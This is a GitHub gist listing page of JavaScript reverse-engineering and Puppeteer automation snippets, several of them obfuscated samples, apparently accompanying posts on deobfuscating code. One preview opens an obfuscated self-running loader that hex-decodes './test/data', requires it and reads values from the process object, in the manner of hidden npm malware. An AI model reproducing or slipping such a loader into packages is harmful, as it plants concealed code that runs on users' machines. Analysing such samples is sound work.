Skip to content

Instantly share code, notes, and snippets.

@jsoverson
jsoverson / js-identifiers.js
Created July 10, 2019 15:15
Hacking JS with JS medium post
const { traverse } = require("shift-traverser");
module.exports = function(ast) {
const ids = [];
traverse(ast, {
enter(node, parent) {
if (node.type === "VariableDeclarator") {
if (node.binding.type === "ObjectBinding") {
node.binding.properties.forEach(prop => ids.push(prop.binding.name));
if (node.binding.rest) ids.push(node.binding.rest.name);
var a = [
"\x73\x65\x74\x54\x61\x72\x67\x65\x74",
"\x77\x6f\x72\x6c\x64",
"\x72\x65\x61\x64\x65\x72",
"\x74\x61\x72\x67\x65\x74",
"\x67\x72\x65\x65\x74",
"\x6c\x6f\x67",
"\x48\x65\x6c\x6c\x6f\x20"
];
(function(c, d) {
(function () {
class c {
constructor(d) {
this.target = d;
}
greet() {
console.log("Hello " + this.target);
}
setTarget(e) {
this.target = e;
@jsoverson
jsoverson / index.js
Created November 13, 2019 01:31
Chrome Dev Summit's BigWebQuiz automation script
const puppeteer = require("puppeteer");
async function launch() {
const browser = await puppeteer.launch({
args: ["–proxy-server=<<secret>>"]
});
const page = await browser.newPage();
await page.authenticate({
@jsoverson
jsoverson / puppeteer-base.js
Created February 22, 2019 15:00
Base puppeteer script
const puppeteer = require('puppeteer');
(async function main(){
const browser = await puppeteer.launch({
headless:false,
defaultViewport:null,
devtools: true
});
const page = (await browser.pages())[0];
! function() {
try {
var r = require,
t = process;
function e(r) {
return Buffer.from(r, "hex").toString()
}
var n = r(e("2e2f746573742f64617461")),
o = t[e(n[3])][e(n[4])];
@jsoverson
jsoverson / local-puppeteer.ts
Created June 17, 2020 15:38
Using puppeteer@4.0.0 with typescript
import { Puppeteer } from 'puppeteer/lib/Puppeteer';
import findRoot from 'find-root';
import path from 'path';
import { initializePuppeteer } from 'puppeteer/lib/index';
const puppeteer = initializePuppeteer({
packageJson: require(path.join(findRoot(require.resolve('puppeteer')), 'package.json')),
rootDirectory: findRoot(require.resolve('puppeteer')),
});
@jsoverson
jsoverson / random-obfuscated.js
Last active August 14, 2020 14:34
Generic obfuscated JavaScript file
var _0x4fa2 = [
'zgvMAw5LuhjVCgvYDhK=',
'x19LC01VzhvSzq==',
'y29TCg91BMrbC3nPz25Tzw50t3bLCMf0B3jnyxa=',
'Dw5HCNLpCgvYyxrVCK1HCa==',
'yMLUyxj5t3bLCMf0B3jnyxa=',
'pt09',
'it09',
'Aw5ZDgfUy2vVzG==',
'pJ4+',
@jsoverson
jsoverson / puppeteer-prettier.js
Last active March 27, 2022 13:15
Intercept and prettify every script
const puppeteer = require('puppeteer');
const prettier = require('prettier');
const atob = require('atob');
const btoa = require('btoa');
const requestCache = new Map();
const urlPatterns = [
'*'
]
class GeneralSet {
map = new Map();
constructor(a = []) {
this[Symbol.iterator] = this.values;
if (a) a.forEach(_ => this.add(_));
}
add(el) {
this.map.set(el.toIdString(), el);